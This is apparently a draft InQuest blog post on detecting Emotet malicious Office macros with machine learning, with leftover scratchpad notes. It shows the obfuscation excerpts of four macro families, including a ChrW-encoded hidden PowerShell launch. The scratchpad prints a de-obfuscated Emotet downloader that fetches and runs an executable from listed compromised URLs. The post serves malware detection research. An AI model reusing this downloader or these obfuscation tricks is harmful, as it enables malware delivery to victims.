On the latter most matter, one can account part of Emotet's success to its rigid C2 architecture. Leveraging at least two large botnets of infected computers, known to researchers as Epoch1 and Epoch 2. In keeping with the subject of prior machine learning blog posts, we focus here on the initial delivery mechanism. Specifically the e-mail borne delivery mechanisms, and more specifically the usage of malicious Microsoft Office macros. This is actually the #1 most effective Emotet delivery mechanism, otherwise known as malspam. If we can uniquely identify components of the macro malware specific to Emotet campaigns, then we can cast a net around this stage of the infection vector (labeled "1" in the diagram below) and in-turn enumerate the other components of the infection vector.

Let's take a glance at some of the characteristic components for each of four different macro families collected from Emotet samples we've been harvesting over the past year. Each of these families have distinctive features that a human analyst will notice instinctually while analyzing Emotet samples at scale. In the next section, we'll highlight how we can leverage unsupervised machine learning to automatically identify these clusters.

Family-1

At a glance analysis reveals multiple, sometimes nested, junk If-Else decision trees with heavy usage of gibberish variables and a mix of math library function calls. Most popular seen functions include (ordered more common first): *Atn(), Round(), Sqr(), Tan(), Hex(), Rnd(), Cos(), Oct(), CLng(), ChrB(), Int(), CStr(), CVar(), Asc(), CDate().*

Sample Macro Obfuscation Style Excerpt
jQAAxZ_ If FQBXU_U = UZUo1BAA Then ElseIf bAoQXAB = JAAx1G Then rCACwUBA = Hex(MD1xBBA + CSng(KAUDBAD / Tan(289954362 + 68963466))) ElseIf UXoAAUA = iADcA4 Then IDwQAX = Atn(192828462) + Int(178883383) ElseIf I4kDQBU = XGwXAQ Then HUUAcBDk = 722919832 + Atn(361484891) End If

Family-2

At a glance analysis reveals long hex strings and function definitions with gibberish names. Most popular seen functions include (ordered more common first): *lus(), DRTYUIUU(), fibonacci(), XXCERQAZSD(), UBound(), CreateObject(), Len(), Environ(), OUIZXCAQ(), LBound(), CreateTextFile(), Click().*

Sample Macro Obfuscation Style Excerpt
lus(2316) = "f593ab11e5bd6d2727f4eae0e728abf327cbbce4755dac1e1027273f291bdf68d2ea7b7b2129dda75527632727e4795877e851ace928f0e128446071292727fb4018dcfe331b9929820d0d9929f54e27273999295fa5bac7d383474968875d71292727d713fac45ac92be339825128621f88ce272714db9505059929ac626d4f" lus(2317) = "298792e8182727e0750a5129eaa21827bfceb1598bc5cb2727c0dd299ba8a8a129c9cf8dc12994ba8c2727861bf581e3c03be2a905ac88be2179172727298a356b295840b8da93d8094fb7c9b727276138f3b929c6db34c709ac700129fd8227270727efa7a578a45b37c7294ca90441e22727d18e4969b02be1bdea15df295b" lus(2318) = "db396d27275d85b81bbfdcbfe12941ad19e288754b2727291b945679299fa16d8f9bca34db299a2727904c1929724cd9fbe1a9436aa7e8f4df27271537e0e00fc73e51d128585128ddbdb9272729a8e0f019b2972129079589b32988c92727098cdf09799729c777eb298aff99c32927277be288c5a0e9c9db2943b2ca19ef59"

Family-3

At a glance analysis reveals heavy usage ChrW() character concatenation, and gibberish variables. Most popular seen functions include (ordered more common first): *ChrW(), Shell(), Open().*

Sample Macro Obfuscation Style Excerpt
Shell (bhZMvtDFeLa) bhZMvtDFeLa = ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(45) & ChrW(78) & ChrW(111) & ChrW(80) & ChrW(32) & ChrW(45) & ChrW(78) & ChrW(111) & ChrW(110) & ChrW(73) & ChrW(32) & ChrW(45) & ChrW(87) & ChrW(32) & ChrW(72) & ChrW(105) & ChrW(100) & ChrW(100) & ChrW(101) & ChrW(110) & ChrW(32) & ChrW(45) & ChrW(69) & ChrW(120) & ChrW(101) & ChrW(99) & ChrW(32) & ChrW(66) & ChrW(121) & ChrW(112) & ChrW(97) & ChrW(115) & ChrW(115) & " " _

Family-4

At a glance analysis reveals heavy usage of ChrW() / ChrB() / Chr() character concatenation, gibberish variables, jun If-Else junk decision trees, and long lines containing calls to various math library functionality. Most popular seen functions include (ordered more common first): *Chr(), CBool(), Sqr(), ChrW(), Round(), CByte(), Sin(), ChrB(), Fix(), CDate(), Hex(), CLng(), Cos(), Log(), Oct().*

Sample Macro Obfuscation Style Excerpt
If dXBABBA = zAAAoAAA Then jAkBCAGA = 883910083 * CByte(559167643) / RDQQGGAA - Int(193946949 + oAccQUA) * 284989030 + CInt(242790627 + CLng(BA_4ADo)) LADUQDD = (k1QAUA / Oct(SAZBAAkB) - DAADAA * CInt(391963257) - D1AGxAAQ - CDbl(O4kwCUcA - tcBZB1AZ / OABDAG - 936688393)) End If If wAQBxDXD = PAAABUA Then XAUCAA = 873169285 * Sgn(793182667) / FAZQcAA - CDate(416882180 + VwDxAUCk) * 292734993 + Log(71335926 + CBool(UDAAw1U)) dAQAQQ = (rG1AcA / ChrW(iAUAAZD) - VAcDBBU * Int(234956747) - XBXQ4CD_ - Log(wAQBZBG - VDUAAk / zAB4UD - 983561536)) End If
>>>>> Above this line is ready for blog.inquest.net
>>>>> PRODUCTION LINE >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>> Still working below this line

An analyst familiar with Emotet can classify samples based on these distinctive characteristics with relative ease. Manual efforts obviously don't scale so practitioners commonly lean on signature based detection of such threats. An overall valuable technique, but a continuous battle with malware families such as Emotet, which frequently retool and employ polymorphic transformations to avoid exactly this kind of detection. Let's take a look at what a real-world signature based approach looks like in this case. [Clam AntiVirus](https://www.clamav.net/) (ClamAV) is a popular, freely available, and open source anti-virus solution. Supported by both the community and commercially owned by Cisco, ClamAV

TODO https://github.com/InQuest/malware-samples/tree/master/2019-06-Emotet-Droppers 50 Emotet samples
TODO Consider uploading clamav\_aggregate\_emotet\_document_downloader.yara to github/inquest/yara-rules � modify condition to be 2 or 3 of them.
Unmasking via ML
The first step, as with any supervised learning problem, is assembling a good training set. For this task, it would be a slightly different set than we�ve used in the past for catching malware. While our previous blogged about classifiers were concerned with finding "good" (negative for malware) and "bad" (positive for malware) macros, our Emotet ones would be specifically looking for whether or not the macro was the eponymous Trojan. This meant that the data would be split by "positive for Emotet" and "negative for Emotet," with the latter actually containing a mixture of "good" and "bad" samples. Therefore, if these new classifiers were to return a negative result for any given macro, it might still be malicious, just not the "right kind" of malicious. It would still be up to our previous classifiers to deal with a file�s "goodness" or "badness�. Our final data set wound up as two collections:

A collection of "bad", Emotet labeled malware.
A collection of "bad", non Emotet-labeled malware along with "good" non-malicious samples.

TODO sample harvesting and initial labels
Harvesting
VT
https://urlhaus.abuse.ch/browse/tag/emotet/
https://urlhaus.abuse.ch/browse/tag/heodo/
Labeling
VT
ClamAV Super YARA Signature
Dynamic Analysis (Powershell pivot)

After we had trained our models, they were shown to have great accuracy, consistently marked unlabeled files as Emotet that even our trained experts were unable to find without deeper inspection. With confidence that they were working correctly, we decided to take one of the classifiers apart to see how it worked, specifically our Gradient Boost (GB) classifier. To do so, we viewed the relationship between each feature and each sample in terms of a Shapley Additive Explanation (SHAP) value.

A SHAP value is the result of a complex equation based on game theory; basically, a measure of the impact any given feature had on the final prediction of any given sample. We illustrate this below. Let's take a look at how the feature impact differs between our standard classifier and our Emotet specific one. The following data visualizations depict the top 20 most important features, out of over 100 features that fuel each of the classifiers.

Gradient Boost Malware Classifier SHAP Values

Gradient Boost Emotet Classifier SHAP Values

Now, depending on the sample, a feature will have more or less impact on the final result. Because there�s variance in this respect, the graphed features are ranked by the average magnitude of their effects. The individual impacts can be seen by the placement of the samples on the X axis, with a location farther to the left indicating that the feature had a larger negative impact (decreased the likelihood the sample was malicious) and placement farther to the right representing a strong positive one (increased malicious likelihood.) The actual colors are indicators of how high or low a sample scored on the associated feature.

With all of this in mind, we�re able to interpret the classifier�s �thought process� for each training set, without having to go through the hundreds of thousands of decision branches that it utilized to arrive at its decisions. This allows us to directly compare the two classifiers, so let�s zoom in on what each one considered the top five most important features to be.

For our standard classifier, the top five most important features, in descending order, are the number of macro functions with a length greater than 18 characters, the number of macro comments, the language of origin that the document was created in, the length of the longest function name within the macro, and the number of branching paths (�if-then� statements) contained within the macro as well. While functions longer than 18 has the highest importance to a given sample on average (and, interestingly, it seems that higher numbers of such functions make a sample more likely to be benign,) the most consistent feature is the language. This likely due to the way language was encoded as a feature; as a categorical variable, each given language was encoded as an integer. The fact that a higher integer almost always leads to higher predicted maliciousness likely has to do with one language in particular being almost always associated with malicious code, and its associated number being a larger integer, perhaps a 3 or 4. The fifth most important feature, number of branches, is also fairly consistent, as well as intuitive, with lower scores leading to a higher likelihood of being benign.

The top five features for our Emotet classifier are a bit more focused, with most of the importance resting on the first two, the number of gibberish variables and the length of the smallest value of a file�s metadata (stored information about the file itself, such as its language of origin, date of creation, etc.) It seems that high scores on the former and low scores on the latter are both string indicators that a file might be Emotet.

Let's swing back around to the macro malware family question we posed in the previous section. Where did those clusters come from? The answer to that has to do with k-means clustering, a type of unsupervised learning. In simplest terms, k-means finds cluster centers, or prototypical �average� examples that define groups of similar data. We ran multiple k-means each set to find a predetermined number of cluster centers ranging from 2-12 on our Emotet samples, based on their feature vectors. On each passing, we noted how �different� the cluster centers were from each other, and decided that past four there was too much overlap among them to consider them as separate families. We'll dive further into unsupervised clustering methods in a separate / future blog post.

Validation
TODO validation at Powershell level / dynamic analysis / show samples

On a final note, If you're interested in this kind of work and will be attending Blackhat USA in Las Vegas in August, be sure to check out Worm Charming: Harvesting Malware Lures for Fun and Profit presented by Pedram Amini on Wednesday, August 7 from 2:40pm through 3:30pm.

Above this line is our actual blog draft, what follows is raw notes/materials.
SCRATCHPAD

Emotet samples identified by classifier:

c742db754ce520271e3d5f299d2fb13090ee8e46fbef4534e65ee6e04d3e0ca7 (Cat Quick-Heal labeled Emotet)
1a6afc1493e33971fca254cbac8d34b6b131f66d87512d0c4f63c2a0ea288613 (noone labeled Emotet)

De-obfuscated powershell from c742 sample:

$franc = new-object System.Net.WebClient;
$nsadasd = new-object random;
$bcd = 'http://eapsaacademy.org/CsZxHA/,
http://aydisa.com/QPhnCF/,
http://galvacrom.cl/ALnQkYy/,
http://www.apicolaelrefugio.cl/iPFNo/,
http://www.drmka.ir/P60u/'.Split(',');
$karapas = $nsadasd.next(1, 343245);
$huas = $env:public + '\' + $karapas + '.exe';
foreach($abc in $bcd)
{
try
{
$franc.DownloadFile($abc.ToString(), $huas);
Invoke-Item($huas);
break;
}
catch
{
write-host $_.Exception.Message;
}
}

# 50 sample documents with their extracted macros.
$ ls -1 *.macro | wc -l
50

# unique, there are only 18 though:
$ for f in *.macro; do cp $f uniq_macros/`sha256 $f | cut -d' ' -f1`; done
$ cd uniq_macros/
$ ls -1 | wc -l
18

# line counts.
$ wc -l * | sort -n
23 4a966a5bfc0475d15062e934b8806ef68e1626c13f320497d1abf3efb229cefa
72 aa262de50037c298895321486ee00d5826ae893db017ad64419683a597a48de4
82 91a437a0c64b4442e8e411e7a4e81692b96c96866418c9d8163669a490e0580a
84 121effee09336ca6e95fb838dc2cf14113763acd5780c407d3461f206712178d
98 86c819592b938e0bd5badea164ddf8628c2348ce293828b33d1ef5a0d96d9d77
113 6eaf9013555acdb7ad4c7856728183614d17fdad7649020bcd6179bc5b27b5eb
121 219761ae921a75d202e3c5694355f2d645c1836361b1fc07af9f96bf4676aad6
134 13b5cdc743ae7dd313f2c12e0dca157892c6ad61103d6284db256d4490071ad7
160 3bb047a9148a80436fea7340f7c4077c27a9005587f28fdb151a609a96c696cf
184 90f44819a25ed26f2b21f095d166db1c08153de28e71b4f51a37a6c5fb006d2f
189 035b3db6b911a575684c60c266b270abed8692b91ed72ee134c65c8a8e84126f
254 8dc9551cbe33913fcbc4f17956b707e0b12cbd31a9f14e3cccf6be7e5a1d2ded
264 ba633ec83a4cd85ba0bdd2097dd464214c61a952e4a6b8de7276d8351ac14b6a
266 56c3ef4e9779e2a9abf4a9b783feff670e9284eeea9e9a2bb6b282c65eabc8ba
594 b1001df828e696f235bdc70f3f8967a398c6f146c6b1ee58bbdfbff403899d4e
839 d2171050d59097d03cb7fa8a93272d3dfbda00f153dad10f661d8c631b410a8b
1192 6345cfb99fc97cbea04b00badd759c30f5812e1aa7c4f60ecd111020b5734f6b
1225 5e0b3272cf61c686b4eeabcd0f07d5e8e64abef200fa1777ce3ae7bc2e5ff9dd
5894 total

# file sizes.
$ for f in *; do stat -f '%z %N' $f; done | sort -n
1135 4a966a5bfc0475d15062e934b8806ef68e1626c13f320497d1abf3efb229cefa
2493 6eaf9013555acdb7ad4c7856728183614d17fdad7649020bcd6179bc5b27b5eb
3888 219761ae921a75d202e3c5694355f2d645c1836361b1fc07af9f96bf4676aad6
4467 13b5cdc743ae7dd313f2c12e0dca157892c6ad61103d6284db256d4490071ad7
4752 91a437a0c64b4442e8e411e7a4e81692b96c96866418c9d8163669a490e0580a
4841 121effee09336ca6e95fb838dc2cf14113763acd5780c407d3461f206712178d
5080 3bb047a9148a80436fea7340f7c4077c27a9005587f28fdb151a609a96c696cf
5727 86c819592b938e0bd5badea164ddf8628c2348ce293828b33d1ef5a0d96d9d77
5792 90f44819a25ed26f2b21f095d166db1c08153de28e71b4f51a37a6c5fb006d2f
5871 aa262de50037c298895321486ee00d5826ae893db017ad64419683a597a48de4
6052 035b3db6b911a575684c60c266b270abed8692b91ed72ee134c65c8a8e84126f
8266 8dc9551cbe33913fcbc4f17956b707e0b12cbd31a9f14e3cccf6be7e5a1d2ded
9915 56c3ef4e9779e2a9abf4a9b783feff670e9284eeea9e9a2bb6b282c65eabc8ba
11696 ba633ec83a4cd85ba0bdd2097dd464214c61a952e4a6b8de7276d8351ac14b6a
40662 d2171050d59097d03cb7fa8a93272d3dfbda00f153dad10f661d8c631b410a8b
45534 b1001df828e696f235bdc70f3f8967a398c6f146c6b1ee58bbdfbff403899d4e
49096 5e0b3272cf61c686b4eeabcd0f07d5e8e64abef200fa1777ce3ae7bc2e5ff9dd
49129 6345cfb99fc97cbea04b00badd759c30f5812e1aa7c4f60ecd111020b5734f6b

Emotet HipChat Comms
24cb8f765803b7feacfdee86224409bba85df80a3822e87e7f26a4328f88ec6f
402f97a639a722d3f6d5ff09453d81fe9b0fc15ae138d4b1bb9061b4af22eb1b
6b311d4cfb2be9c469ff2076785ccf7891eb040c9318bab4304cb52016eaf7d8
fd1cbd3aec3b63b92a5a82b10d2e9547e091eb523172c07a09bac468d1c92e69
044ef5f307e53b24a6c7688dbac252a284cdece4423c2fe2329865049319e1fb
GB says these are emotet, RF and LR dont, none of the AV engines label above samples as Emotet

Important Events Timeline
Proofpoint researchers began tracking a prolific actor (referred to as TA542) in 2014

June 12th 2019 Emotet is still offline and retooling per many conversations.
- Hypothesis so far is that they are going to add in a RDP CVE to it.
- Something happened and it got shut down. This is most likely not the case but would be nice :}
(https://pastebin.com/vwNSwbJK)
Emotet Tier 1 C2 is still down on both botnets. I wanted to update these lists because I was missing 4 combos on E1 and 8 combos on E2. The correct totals are 126 for E1 and 100 for E2. Somehow I truncated the totals and missed these 12 IP/Port combos. @0xtadavie found this oversight and provided me with the following missing combinations. Fortunately if you were just blocking on IPs, some of these were just additional ports on the same host.

Free Email Hygiene Analysis

Solid email security begins with proper email hygiene. There are a variety of email hygiene technologies and wrapping one's head around them all is challenging. Try our complimentary Email Hygiene Analysis and receive an instant report about your company's security posture including a simple rating with iterative guidance, as well as a comparison against the Fortune 500. Try it today!

Originally published 2019-07-03 on the InQuest blog.

A Deeper Look

Further Resources

Public Proof-of-Concepts (PoC):

Real-world Malware Samples:

Indicators of Compromise (IOCs):

Free On-Demand Webinar: Think Before You Click

Initial Samples, Low Detection Rates

An Effective Detection Anchor

Obfuscated Macrosheet

YARA Hunt Rule, Samples, Shunting

Relationship Graphing

Additional Observations and IOCs

Introduction

�

Analysis of Document One: inv-27101.xls

Analysis of Document Two: Invoice85005.xls

Detection and Mitigation

Optical Character Recognition (OCR)

Suspicious Attributes

IOCs

Introduction

Background

Application and Alternatives

Microsoft Office DOCX with PNG

Microsoft Office DOCX with JPG

More Interesting Pivots

Language

Impersonation

Wrapping Up...

Emotet

Family-1

Family-2

Family-3

Family-4

Free Email Hygiene Analysis